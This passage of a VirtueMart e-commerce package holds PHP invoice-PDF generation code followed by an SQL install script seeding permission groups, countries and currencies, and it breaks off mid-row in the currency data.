VirtueMartModelOrders::getOrderIdByOrderNumber(JRequest::getString('order_number')); } $orderDetails = $orderModel->getOrder($virtuemart_order_id); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!Permissions::getInstance()->check("admin")) { if(!empty($orderDetails['details']['BT']->virtuemart_user_id)){ if ($orderDetails['details']['BT']->virtuemart_user_id != $cuid) { echo 'view '.JText::_('COM_VIRTUEMART_RESTRICTED_ACCESS'); return ; } } } } return $orderDetails; } public function samplePDF() { if(!class_exists('VmVendorPDF')){ vmError('vmPdf: For the pdf, you must install the tcpdf library at '.JPATH_VM_LIBRARIES.DS.'tcpdf'); return 0; } $pdf = new VmVendorPDF(); $pdf->AddPage(); $pdf->PrintContents(JText::_('COM_VIRTUEMART_PDF_SAMPLEPAGE')); $pdf->Output("vminvoice_sample.pdf", 'I'); JFactory::getApplication()->close(); } function getInvoicePDF($orderDetails = 0, $viewName='invoice', $layout='invoice', $format='html', $force = false){ // $force = true; $path = VmConfig::get('forSale_path',0); if(empty($path) ){ vmError('No path set to store invoices'); return false; } else { $path .= shopFunctions::getInvoiceFolderName().DS; if(!file_exists($path)){ vmError('Path wrong to store invoices, folder invoices does not exist '.$path); return false; } else if(!is_writable( $path )){ vmError('Cannot store pdf, directory not writeable '.$path); return false; } } $orderModel = VmModel::getModel('orders'); $invoiceNumberDate=array(); if (! $orderModel->createInvoiceNumber($orderDetails['details']['BT'], $invoiceNumberDate)) { return 0; } if(!empty($invoiceNumberDate[0])){ $invoiceNumber = $invoiceNumberDate[0]; } else { $invoiceNumber = FALSE; } if(!$invoiceNumber or empty($invoiceNumber)){ vmError('Cant create pdf, createInvoiceNumber failed'); return 0; } if (shopFunctions::InvoiceNumberReserved($invoiceNumber)) { return 0; } $path .= preg_replace('/[^A-Za-z0-9_\-\.]/', '_', 'vm'.$layout.'_'.$invoiceNumber.'.pdf'); if(file_exists($path) and !$force){ return $path; } //We come from the be, so we need to load the FE langauge VmConfig::loadJLang('com_virtuemart',true); $this->addViewPath( JPATH_VM_SITE.DS.'views' ); $view = $this->getView($viewName, $format); $view->addTemplatePath( JPATH_VM_SITE.DS.'views'.DS.$viewName.DS.'tmpl' ); $vmtemplate = VmConfig::get('vmtemplate',0); if(!empty($vmtemplate) and $vmtemplate=='default'){ if(JVM_VERSION == 2){ $q = 'SELECT `template` FROM `#__template_styles` WHERE `client_id`="0" AND `home`="1"'; } else { $q = 'SELECT `template` FROM `#__templates_menu` WHERE `client_id`="0" AND `menuid`="0"'; } $db = JFactory::getDbo(); $db->setQuery($q); $templateName = $db->loadResult(); } else { $templateName = shopFunctionsF::setTemplate($vmtemplate); } if(!empty($templateName)){ $TemplateOverrideFolder = JPATH_SITE.DS."templates".DS.$templateName.DS."html".DS."com_virtuemart".DS."invoice"; if(file_exists($TemplateOverrideFolder)){ $view->addTemplatePath( $TemplateOverrideFolder); } } $view->invoiceNumber = $invoiceNumberDate[0]; $view->invoiceDate = $invoiceNumberDate[1]; $view->orderDetails = $orderDetails; $view->uselayout = $layout; $view->showHeaderFooter = false; $vendorModel = VmModel::getModel('vendor'); $virtuemart_vendor_id = 1; //We could set this automatically by the vendorId stored in the order. $vendor = $vendorModel->getVendor($virtuemart_vendor_id); $metadata = array ( 'title' => JText::sprintf('COM_VIRTUEMART_INVOICE_TITLE', $vendor->vendor_store_name, $view->invoiceNumber, $orderDetails['details']['BT']->order_number), 'keywords' => JText::_('COM_VIRTUEMART_INVOICE_CREATOR')); return VmPdf::createVmPdf($view, $path, 'F', $metadata); } } // No closing tag PKtl>\ǞHH7com_virtuemart_update/install/install_required_data.sqlnuW+A-- VirtueMart table data SQL script -- This will insert all sample data into the VirtueMart tables -- -- Dumping data for table `#__virtuemart_permgroups` -- INSERT INTO `#__virtuemart_permgroups` (`virtuemart_permgroup_id`, `group_name`, `group_level`) VALUES (1, 'admin', 0), (2, 'storeadmin', 250), (3, 'shopper', 500), (4, 'demo', 750); INSERT INTO `#__virtuemart_userfield_values` ( `virtuemart_userfield_id`, `fieldtitle`, `fieldvalue`, `sys`, `ordering`, `created_on`, `created_by`, `modified_on`, `modified_by`, `locked_on`, `locked_by`) VALUES ( 10, 'COM_VIRTUEMART_SHOPPER_TITLE_MR', 'Mr', 0, 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 10, 'COM_VIRTUEMART_SHOPPER_TITLE_MRS', 'Mrs', 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'None', '', 0, 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Non-resident (Canada)', 'R', 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Federal government (United States)', 'A', 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'State government (United States)', 'B', 0, 2, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Tribe / Status Indian / Indian Band (both)', 'C', 0, 3, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Foreign diplomat (both)', 'D', 0, 4, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Charitable or benevolent org (both)', 'E', 0, 5, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Religious or educational org (both)', 'F', 0, 6, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Resale (both)', 'G', 0, 7, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Commercial agricultural production (both)', 'H', 0, 8, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Industrial production / manufacturer (both)', 'I', 0, 9, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Direct pay permit (United States)', 'J', 0, 10, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Direct mail (United States)', 'K', 0, 11, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Other (both)', 'L', 0, 12, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Local government (United States)', 'N', 0, 13, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Commercial aquaculture (Canada)', 'P', 0, 14, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), ( 26, 'Commercial Fishery (Canada)', 'Q', 0, 15, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0); -- -- Dumping data for table `#__virtuemart_countries` -- INSERT INTO `#__virtuemart_countries` (`virtuemart_country_id`, `virtuemart_worldzone_id`, `country_name`, `country_3_code`, `country_2_code`) VALUES (1, 1, 'Afghanistan', 'AFG', 'AF'), (2, 1, 'Albania', 'ALB', 'AL'), (3, 1, 'Algeria', 'DZA', 'DZ'), (4, 1, 'American Samoa', 'ASM', 'AS'), (5, 1, 'Andorra', 'AND', 'AD'), (6, 1, 'Angola', 'AGO', 'AO'), (7, 1, 'Anguilla', 'AIA', 'AI'), (8, 1, 'Antarctica', 'ATA', 'AQ'), (9, 1, 'Antigua and Barbuda', 'ATG', 'AG'), (10, 1, 'Argentina', 'ARG', 'AR'), (11, 1, 'Armenia', 'ARM', 'AM'), (12, 1, 'Aruba', 'ABW', 'AW'), (13, 1, 'Australia', 'AUS', 'AU'), (14, 1, 'Austria', 'AUT', 'AT'), (15, 1, 'Azerbaijan', 'AZE', 'AZ'), (16, 1, 'Bahamas', 'BHS', 'BS'), (17, 1, 'Bahrain', 'BHR', 'BH'), (18, 1, 'Bangladesh', 'BGD', 'BD'), (19, 1, 'Barbados', 'BRB', 'BB'), (20, 1, 'Belarus', 'BLR', 'BY'), (21, 1, 'Belgium', 'BEL', 'BE'), (22, 1, 'Belize', 'BLZ', 'BZ'), (23, 1, 'Benin', 'BEN', 'BJ'), (24, 1, 'Bermuda', 'BMU', 'BM'), (25, 1, 'Bhutan', 'BTN', 'BT'), (26, 1, 'Bolivia', 'BOL', 'BO'), (27, 1, 'Bosnia and Herzegowina', 'BIH', 'BA'), (28, 1, 'Botswana', 'BWA', 'BW'), (29, 1, 'Bouvet Island', 'BVT', 'BV'), (30, 1, 'Brazil', 'BRA', 'BR'), (31, 1, 'British Indian Ocean Territory', 'IOT', 'IO'), (32, 1, 'Brunei Darussalam', 'BRN', 'BN'), (33, 1, 'Bulgaria', 'BGR', 'BG'), (34, 1, 'Burkina Faso', 'BFA', 'BF'), (35, 1, 'Burundi', 'BDI', 'BI'), (36, 1, 'Cambodia', 'KHM', 'KH'), (37, 1, 'Cameroon', 'CMR', 'CM'), (38, 1, 'Canada', 'CAN', 'CA'), (39, 1, 'Cape Verde', 'CPV', 'CV'), (40, 1, 'Cayman Islands', 'CYM', 'KY'), (41, 1, 'Central African Republic', 'CAF', 'CF'), (42, 1, 'Chad', 'TCD', 'TD'), (43, 1, 'Chile', 'CHL', 'CL'), (44, 1, 'China', 'CHN', 'CN'), (45, 1, 'Christmas Island', 'CXR', 'CX'), (46, 1, 'Cocos (Keeling) Islands', 'CCK', 'CC'), (47, 1, 'Colombia', 'COL', 'CO'), (48, 1, 'Comoros', 'COM', 'KM'), (49, 1, 'Congo', 'COG', 'CG'), (50, 1, 'Cook Islands', 'COK', 'CK'), (51, 1, 'Costa Rica', 'CRI', 'CR'), (52, 1, 'Cote D''Ivoire', 'CIV', 'CI'), (53, 1, 'Croatia', 'HRV', 'HR'), (54, 1, 'Cuba', 'CUB', 'CU'), (55, 1, 'Cyprus', 'CYP', 'CY'), (56, 1, 'Czech Republic', 'CZE', 'CZ'), (57, 1, 'Denmark', 'DNK', 'DK'), (58, 1, 'Djibouti', 'DJI', 'DJ'), (59, 1, 'Dominica', 'DMA', 'DM'), (60, 1, 'Dominican Republic', 'DOM', 'DO'), (61, 1, 'East Timor', 'TMP', 'TP'), (62, 1, 'Ecuador', 'ECU', 'EC'), (63, 1, 'Egypt', 'EGY', 'EG'), (64, 1, 'El Salvador', 'SLV', 'SV'), (65, 1, 'Equatorial Guinea', 'GNQ', 'GQ'), (66, 1, 'Eritrea', 'ERI', 'ER'), (67, 1, 'Estonia', 'EST', 'EE'), (68, 1, 'Ethiopia', 'ETH', 'ET'), (69, 1, 'Falkland Islands (Malvinas)', 'FLK', 'FK'), (70, 1, 'Faroe Islands', 'FRO', 'FO'), (71, 1, 'Fiji', 'FJI', 'FJ'), (72, 1, 'Finland', 'FIN', 'FI'), (73, 1, 'France', 'FRA', 'FR'), (75, 1, 'French Guiana', 'GUF', 'GF'), (76, 1, 'French Polynesia', 'PYF', 'PF'), (77, 1, 'French Southern Territories', 'ATF', 'TF'), (78, 1, 'Gabon', 'GAB', 'GA'), (79, 1, 'Gambia', 'GMB', 'GM'), (80, 1, 'Georgia', 'GEO', 'GE'), (81, 1, 'Germany', 'DEU', 'DE'), (82, 1, 'Ghana', 'GHA', 'GH'), (83, 1, 'Gibraltar', 'GIB', 'GI'), (84, 1, 'Greece', 'GRC', 'GR'), (85, 1, 'Greenland', 'GRL', 'GL'), (86, 1, 'Grenada', 'GRD', 'GD'), (87, 1, 'Guadeloupe', 'GLP', 'GP'), (88, 1, 'Guam', 'GUM', 'GU'), (89, 1, 'Guatemala', 'GTM', 'GT'), (90, 1, 'Guinea', 'GIN', 'GN'), (91, 1, 'Guinea-bissau', 'GNB', 'GW'), (92, 1, 'Guyana', 'GUY', 'GY'), (93, 1, 'Haiti', 'HTI', 'HT'), (94, 1, 'Heard and Mc Donald Islands', 'HMD', 'HM'), (95, 1, 'Honduras', 'HND', 'HN'), (96, 1, 'Hong Kong', 'HKG', 'HK'), (97, 1, 'Hungary', 'HUN', 'HU'), (98, 1, 'Iceland', 'ISL', 'IS'), (99, 1, 'India', 'IND', 'IN'), (100, 1, 'Indonesia', 'IDN', 'ID'), (101, 1, 'Iran (Islamic Republic of)', 'IRN', 'IR'), (102, 1, 'Iraq', 'IRQ', 'IQ'), (103, 1, 'Ireland', 'IRL', 'IE'), (104, 1, 'Israel', 'ISR', 'IL'), (105, 1, 'Italy', 'ITA', 'IT'), (106, 1, 'Jamaica', 'JAM', 'JM'), (107, 1, 'Japan', 'JPN', 'JP'), (108, 1, 'Jordan', 'JOR', 'JO'), (109, 1, 'Kazakhstan', 'KAZ', 'KZ'), (110, 1, 'Kenya', 'KEN', 'KE'), (111, 1, 'Kiribati', 'KIR', 'KI'), (112, 1, 'Korea, Democratic People''s Republic of', 'PRK', 'KP'), (113, 1, 'Korea, Republic of', 'KOR', 'KR'), (114, 1, 'Kuwait', 'KWT', 'KW'), (115, 1, 'Kyrgyzstan', 'KGZ', 'KG'), (116, 1, 'Lao People''s Democratic Republic', 'LAO', 'LA'), (117, 1, 'Latvia', 'LVA', 'LV'), (118, 1, 'Lebanon', 'LBN', 'LB'), (119, 1, 'Lesotho', 'LSO', 'LS'), (120, 1, 'Liberia', 'LBR', 'LR'), (121, 1, 'Libya', 'LBY', 'LY'), (122, 1, 'Liechtenstein', 'LIE', 'LI'), (123, 1, 'Lithuania', 'LTU', 'LT'), (124, 1, 'Luxembourg', 'LUX', 'LU'), (125, 1, 'Macau', 'MAC', 'MO'), (126, 1, 'Macedonia, The Former Yugoslav Republic of', 'MKD', 'MK'), (127, 1, 'Madagascar', 'MDG', 'MG'), (128, 1, 'Malawi', 'MWI', 'MW'), (129, 1, 'Malaysia', 'MYS', 'MY'), (130, 1, 'Maldives', 'MDV', 'MV'), (131, 1, 'Mali', 'MLI', 'ML'), (132, 1, 'Malta', 'MLT', 'MT'), (133, 1, 'Marshall Islands', 'MHL', 'MH'), (134, 1, 'Martinique', 'MTQ', 'MQ'), (135, 1, 'Mauritania', 'MRT', 'MR'), (136, 1, 'Mauritius', 'MUS', 'MU'), (137, 1, 'Mayotte', 'MYT', 'YT'), (138, 1, 'Mexico', 'MEX', 'MX'), (139, 1, 'Micronesia, Federated States of', 'FSM', 'FM'), (140, 1, 'Moldova, Republic of', 'MDA', 'MD'), (141, 1, 'Monaco', 'MCO', 'MC'), (142, 1, 'Mongolia', 'MNG', 'MN'), (143, 1, 'Montserrat', 'MSR', 'MS'), (144, 1, 'Morocco', 'MAR', 'MA'), (145, 1, 'Mozambique', 'MOZ', 'MZ'), (146, 1, 'Myanmar', 'MMR', 'MM'), (147, 1, 'Namibia', 'NAM', 'NA'), (148, 1, 'Nauru', 'NRU', 'NR'), (149, 1, 'Nepal', 'NPL', 'NP'), (150, 1, 'Netherlands', 'NLD', 'NL'), (151, 1, 'Netherlands Antilles', 'ANT', 'AN'), (152, 1, 'New Caledonia', 'NCL', 'NC'), (153, 1, 'New Zealand', 'NZL', 'NZ'), (154, 1, 'Nicaragua', 'NIC', 'NI'), (155, 1, 'Niger', 'NER', 'NE'), (156, 1, 'Nigeria', 'NGA', 'NG'), (157, 1, 'Niue', 'NIU', 'NU'), (158, 1, 'Norfolk Island', 'NFK', 'NF'), (159, 1, 'Northern Mariana Islands', 'MNP', 'MP'), (160, 1, 'Norway', 'NOR', 'NO'), (161, 1, 'Oman', 'OMN', 'OM'), (162, 1, 'Pakistan', 'PAK', 'PK'), (163, 1, 'Palau', 'PLW', 'PW'), (164, 1, 'Panama', 'PAN', 'PA'), (165, 1, 'Papua New Guinea', 'PNG', 'PG'), (166, 1, 'Paraguay', 'PRY', 'PY'), (167, 1, 'Peru', 'PER', 'PE'), (168, 1, 'Philippines', 'PHL', 'PH'), (169, 1, 'Pitcairn', 'PCN', 'PN'), (170, 1, 'Poland', 'POL', 'PL'), (171, 1, 'Portugal', 'PRT', 'PT'), (172, 1, 'Puerto Rico', 'PRI', 'PR'), (173, 1, 'Qatar', 'QAT', 'QA'), (174, 1, 'Reunion', 'REU', 'RE'), (175, 1, 'Romania', 'ROM', 'RO'), (176, 1, 'Russian Federation', 'RUS', 'RU'), (177, 1, 'Rwanda', 'RWA', 'RW'), (178, 1, 'Saint Kitts and Nevis', 'KNA', 'KN'), (179, 1, 'Saint Lucia', 'LCA', 'LC'), (180, 1, 'Saint Vincent and the Grenadines', 'VCT', 'VC'), (181, 1, 'Samoa', 'WSM', 'WS'), (182, 1, 'San Marino', 'SMR', 'SM'), (183, 1, 'Sao Tome and Principe', 'STP', 'ST'), (184, 1, 'Saudi Arabia', 'SAU', 'SA'), (185, 1, 'Senegal', 'SEN', 'SN'), (186, 1, 'Seychelles', 'SYC', 'SC'), (187, 1, 'Sierra Leone', 'SLE', 'SL'), (188, 1, 'Singapore', 'SGP', 'SG'), (189, 1, 'Slovakia', 'SVK', 'SK'), (190, 1, 'Slovenia', 'SVN', 'SI'), (191, 1, 'Solomon Islands', 'SLB', 'SB'), (192, 1, 'Somalia', 'SOM', 'SO'), (193, 1, 'South Africa', 'ZAF', 'ZA'), (194, 1, 'South Georgia and the South Sandwich Islands', 'SGS', 'GS'), (195, 1, 'Spain', 'ESP', 'ES'), (196, 1, 'Sri Lanka', 'LKA', 'LK'), (197, 1, 'St. Helena', 'SHN', 'SH'), (198, 1, 'St. Pierre and Miquelon', 'SPM', 'PM'), (199, 1, 'Sudan', 'SDN', 'SD'), (200, 1, 'Suriname', 'SUR', 'SR'), (201, 1, 'Svalbard and Jan Mayen Islands', 'SJM', 'SJ'), (202, 1, 'Swaziland', 'SWZ', 'SZ'), (203, 1, 'Sweden', 'SWE', 'SE'), (204, 1, 'Switzerland', 'CHE', 'CH'), (205, 1, 'Syrian Arab Republic', 'SYR', 'SY'), (206, 1, 'Taiwan', 'TWN', 'TW'), (207, 1, 'Tajikistan', 'TJK', 'TJ'), (208, 1, 'Tanzania, United Republic of', 'TZA', 'TZ'), (209, 1, 'Thailand', 'THA', 'TH'), (210, 1, 'Togo', 'TGO', 'TG'), (211, 1, 'Tokelau', 'TKL', 'TK'), (212, 1, 'Tonga', 'TON', 'TO'), (213, 1, 'Trinidad and Tobago', 'TTO', 'TT'), (214, 1, 'Tunisia', 'TUN', 'TN'), (215, 1, 'Turkey', 'TUR', 'TR'), (216, 1, 'Turkmenistan', 'TKM', 'TM'), (217, 1, 'Turks and Caicos Islands', 'TCA', 'TC'), (218, 1, 'Tuvalu', 'TUV', 'TV'), (219, 1, 'Uganda', 'UGA', 'UG'), (220, 1, 'Ukraine', 'UKR', 'UA'), (221, 1, 'United Arab Emirates', 'ARE', 'AE'), (222, 1, 'United Kingdom', 'GBR', 'GB'), (223, 1, 'United States', 'USA', 'US'), (224, 1, 'United States Minor Outlying Islands', 'UMI', 'UM'), (225, 1, 'Uruguay', 'URY', 'UY'), (226, 1, 'Uzbekistan', 'UZB', 'UZ'), (227, 1, 'Vanuatu', 'VUT', 'VU'), (228, 1, 'Vatican City State (Holy See)', 'VAT', 'VA'), (229, 1, 'Venezuela', 'VEN', 'VE'), (230, 1, 'Viet Nam', 'VNM', 'VN'), (231, 1, 'Virgin Islands (British)', 'VGB', 'VG'), (232, 1, 'Virgin Islands (U.S.)', 'VIR', 'VI'), (233, 1, 'Wallis and Futuna Islands', 'WLF', 'WF'), (234, 1, 'Western Sahara', 'ESH', 'EH'), (235, 1, 'Yemen', 'YEM', 'YE'), (237, 1, 'The Democratic Republic of Congo', 'DRC', 'DC'), (238, 1, 'Zambia', 'ZMB', 'ZM'), (239, 1, 'Zimbabwe', 'ZWE', 'ZW'), (240, 1, 'East Timor', 'XET', 'XE'), (241, 1, 'Jersey', 'JEY', 'JE'), (242, 1, 'St. Barthelemy', 'XSB', 'XB'), (243, 1, 'St. Eustatius', 'XSE', 'XU'), (244, 1, 'Canary Islands', 'XCA', 'XC'), (245, 1, 'Serbia', 'SRB', 'RS'), (246, 1, 'Sint Maarten (French Antilles)', 'MAF', 'MF'), (247, 1, 'Sint Maarten (Netherlands Antilles)', 'SXM', 'SX'), (248, 1, 'Palestinian Territory, occupied','PSE','PS') ; -- -- Dumping data for table `#__virtuemart_currencies` -- INSERT INTO `#__virtuemart_currencies` (`virtuemart_currency_id`, `virtuemart_vendor_id`, `currency_name`, `currency_code_2`, `currency_code_3`, `currency_numeric_code`, `currency_exchange_rate`, `currency_symbol`, `currency_decimal_place`, `currency_decimal_symbol`, `currency_thousands`, `currency_positive_style`, `currency_negative_style`, `ordering`, `shared`, `published`, `created_on`, `created_by`, `modified_on`, `modified_by`, `locked_on`, `locked_by`) VALUES (2, 1, 'United Arab Emirates dirham', '', 'AED', 784, 0, 'د.إ', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (4, 1, 'Albanian lek', '', 'ALL', 8, 0, 'Lek', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (5, 1, 'Netherlands Antillean gulden', '', 'ANG', 532, 0, 'ƒ', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (7, 1, 'Argentine peso', '', 'ARS', 32, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (9, 1, 'Australian dollar', '', 'AUD', 36, 0, '$', '2', '.', ' ', '{symbol} {number}', '{sign}{symbol} {number} ', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (10, 1, 'Aruban florin', '', 'AWG', 533, 0, 'ƒ', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (11, 1, 'Barbadian dollar', '', 'BBD', 52, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (12, 1, 'Bangladeshi taka', '', 'BDT', 50, 0, '৳', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (15, 1, 'Bahraini dinar', '', 'BHD', 48, 0, 'ب.د', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (16, 1, 'Burundian franc', '', 'BIF', 108, 0, 'Fr', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (17, 1, 'Bermudian dollar', '', 'BMD', 60, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (18, 1, 'Brunei dollar', '', 'BND', 96, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (19, 1, 'Bolivian boliviano', '', 'BOB', 68, 0, '$b', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (20, 1, 'Brazilian real', '', 'BRL', 986, 0, 'R$', '2', ',', '.', '{symbol} {number}', '{symbol} {sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (21, 1, 'Bahamian dollar', '', 'BSD', 44, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (22, 1, 'Bhutanese ngultrum', '', 'BTN', 64, 0, 'BTN', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (24, 1, 'Botswana pula', '', 'BWP', 72, 0, 'P', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (25, 1, 'Belize dollar', '', 'BZD', 84, 0, 'BZ$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (26, 1, 'Canadian dollar', '', 'CAD', 124, 0, '$', '2', '.', ',', '{symbol}{number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (27, 1, 'Swiss franc', '', 'CHF', 756, 0, 'CHF', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (28, 1, 'Unidad de Fomento', '', 'CLF', 990, 0, 'CLF', '0', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (29, 1, 'Chilean peso', '', 'CLP', 152, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (30, 1, 'Chinese renminbi yuan', '', 'CNY', 156, 0, '元', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (31, 1, 'Colombian peso', '', 'COP', 170, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (32, 1, 'Costa Rican colón', '', 'CRC', 188, 0, '₡', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (33, 1, 'Czech koruna', '', 'CZK', 203, 0, 'Kč', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (34, 1, 'Cuban peso', '', 'CUP', 192, 0, '₱', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (35, 1, 'Cape Verdean escudo', '', 'CVE', 132, 0, '$', '0', '', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (40, 1, 'Danish krone', '', 'DKK', 208, 0, 'kr', '2', '.', ',', '{symbol}{number}', '{symbol}{sign}{number}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (41, 1, 'Dominican peso', '', 'DOP', 214, 0, 'RD$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (42, 1, 'Algerian dinar', '', 'DZD', 12, 0, 'د.ج', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (44, 1, 'Egyptian pound', '', 'EGP', 818, 0, '£', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (46, 1, 'Ethiopian birr', '', 'ETB', 230, 0, 'ETB', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (47, 1, 'Euro', '', 'EUR', 978, 0, '€', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (49, 1, 'Fijian dollar', '', 'FJD', 242, 0, '$', '2', ',', '', '{number} {symbol}', '{sign}{number} {symbol}', 0, 